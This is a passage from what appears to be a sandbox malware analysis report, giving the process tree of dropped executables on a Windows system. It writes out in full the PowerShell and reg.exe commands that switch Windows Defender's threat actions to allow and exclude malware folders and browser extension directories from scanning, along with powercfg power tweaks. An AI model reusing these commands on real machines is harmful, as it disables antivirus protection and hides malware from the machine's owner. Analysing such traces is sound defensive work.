                                  • Drops file in System32 directory
                                  • Modifies data under HKEY_USERS
                                  PID:2908
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                            1⤵
                              PID:4808
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                              1⤵
                                PID:3408
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1368 -ip 1368
                                1⤵
                                  PID:1584
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                  1⤵
                                    PID:1876
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 1368 -ip 1368
                                    1⤵
                                      PID:2556
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 1368 -ip 1368
                                      1⤵
                                        PID:3236
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 2868 -ip 2868
                                        1⤵
                                          PID:464
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 1368 -ip 1368
                                          1⤵
                                            PID:1840
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 1368 -ip 1368
                                            1⤵
                                              PID:3980
                                            • C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe
                                              C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe
                                              1⤵
                                              • Executes dropped EXE
                                              • Suspicious use of SetThreadContext
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:3548
                                              • C:\Windows\system32\powercfg.exe
                                                C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                2⤵
                                                  PID:1980
                                                • C:\Windows\system32\powercfg.exe
                                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                  2⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:4480
                                                • C:\Windows\system32\powercfg.exe
                                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                  2⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:1908
                                                • C:\Windows\system32\powercfg.exe
                                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                  2⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:5088
                                                • C:\Windows\system32\conhost.exe
                                                  C:\Windows\system32\conhost.exe
                                                  2⤵
                                                    PID:1520
                                                  • C:\Windows\system32\svchost.exe
                                                    svchost.exe
                                                    2⤵
                                                      PID:4708
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1368 -ip 1368
                                                    1⤵
                                                      PID:3312
                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 4320 -ip 4320
                                                      1⤵
                                                        PID:1540
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1368 -ip 1368
                                                        1⤵
                                                          PID:2868
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4308 -ip 4308
                                                          1⤵
                                                            PID:1792
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 1368 -ip 1368
                                                            1⤵
                                                              PID:3224
                                                            • C:\Users\Admin\AppData\Local\Temp\IvFVVHNigIyhAiWaa\EDHrMUSPJvyJNvL\MczRWBv.exe
                                                              C:\Users\Admin\AppData\Local\Temp\IvFVVHNigIyhAiWaa\EDHrMUSPJvyJNvL\MczRWBv.exe Mv /aqsite_idVVm 525403 /S
                                                              1⤵
                                                              • Executes dropped EXE
                                                              • Drops file in System32 directory
                                                              PID:3520
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                2⤵
                                                                • Drops file in System32 directory
                                                                • Modifies data under HKEY_USERS
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:2100
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                  3⤵
                                                                    PID:4612
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                      4⤵
                                                                        PID:640
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:1136
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:652
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:4004
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                            3⤵
                                                                              PID:1076
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                              3⤵
                                                                                PID:3964
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                3⤵
                                                                                  PID:3428
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                  3⤵
                                                                                    PID:1888
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                    3⤵
                                                                                      PID:3052
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                      3⤵
                                                                                        PID:2636
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                        3⤵
                                                                                          PID:3464
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                          3⤵
                                                                                            PID:3608
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                            3⤵
                                                                                              PID:4340
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                              3⤵
                                                                                                PID:3972
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                3⤵
                                                                                                  PID:3548
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                  3⤵
                                                                                                    PID:4588
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                    3⤵
                                                                                                      PID:2840
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                      3⤵
                                                                                                        PID:3980
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                        3⤵
                                                                                                          PID:4444
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                          3⤵
                                                                                                            PID:3000
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                            3⤵
                                                                                                              PID:3216
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                              3⤵
                                                                                                                PID:1948
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                3⤵
                                                                                                                  PID:3768
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                  3⤵
                                                                                                                    PID:4700
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                    3⤵
                                                                                                                      PID:4768
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                      3⤵
                                                                                                                        PID:4204
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:2772
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:464
                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BcCQMXwjU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BcCQMXwjU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ITFcQRBGgRUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ITFcQRBGgRUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\SwHdQyPSnQdU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\SwHdQyPSnQdU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mfOEuGwqkLFbC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mfOEuGwqkLFbC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xRoHTrfYcfGreqCFIqR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xRoHTrfYcfGreqCFIqR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\UakFvFPMbXVAWgVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\UakFvFPMbXVAWgVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\IvFVVHNigIyhAiWaa\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\IvFVVHNigIyhAiWaa\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\QomKEDtaZauBMonw\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\QomKEDtaZauBMonw\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                          2⤵
                                                                                                                          • Drops file in System32 directory
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          PID:4472
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BcCQMXwjU" /t REG_DWORD /d 0 /reg:32
                                                                                                                            3⤵
                                                                                                                              PID:4308
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BcCQMXwjU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                4⤵
                                                                                                                                  PID:2948
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BcCQMXwjU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                3⤵
                                                                                                                                  PID:2316
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ITFcQRBGgRUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                  3⤵
                                                                                                                                    PID:3964
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ITFcQRBGgRUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                    3⤵
                                                                                                                                      PID:3428
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SwHdQyPSnQdU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                      3⤵
                                                                                                                                        PID:1888
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SwHdQyPSnQdU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                        3⤵
                                                                                                                                          PID:3052
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mfOEuGwqkLFbC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                          3⤵
                                                                                                                                            PID:2636
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mfOEuGwqkLFbC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                            3⤵
                                                                                                                                              PID:3464
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xRoHTrfYcfGreqCFIqR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                              3⤵
                                                                                                                                                PID:3316
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xRoHTrfYcfGreqCFIqR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:4972
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\UakFvFPMbXVAWgVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                  3⤵
                                                                                                                                                    PID:2740
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\UakFvFPMbXVAWgVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                    3⤵
                                                                                                                                                      PID:4736
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                      3⤵
                                                                                                                                                        PID:2840
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                        3⤵
                                                                                                                                                          PID:392
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                          3⤵
                                                                                                                                                            PID:4828
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                            3⤵
                                                                                                                                                              PID:4220
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\IvFVVHNigIyhAiWaa /t REG_DWORD /d 0 /reg:32
                                                                                                                                                              3⤵
                                                                                                                                                                PID:3116
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\IvFVVHNigIyhAiWaa /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:3516
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\QomKEDtaZauBMonw /t REG_DWORD /d 0 /reg:32
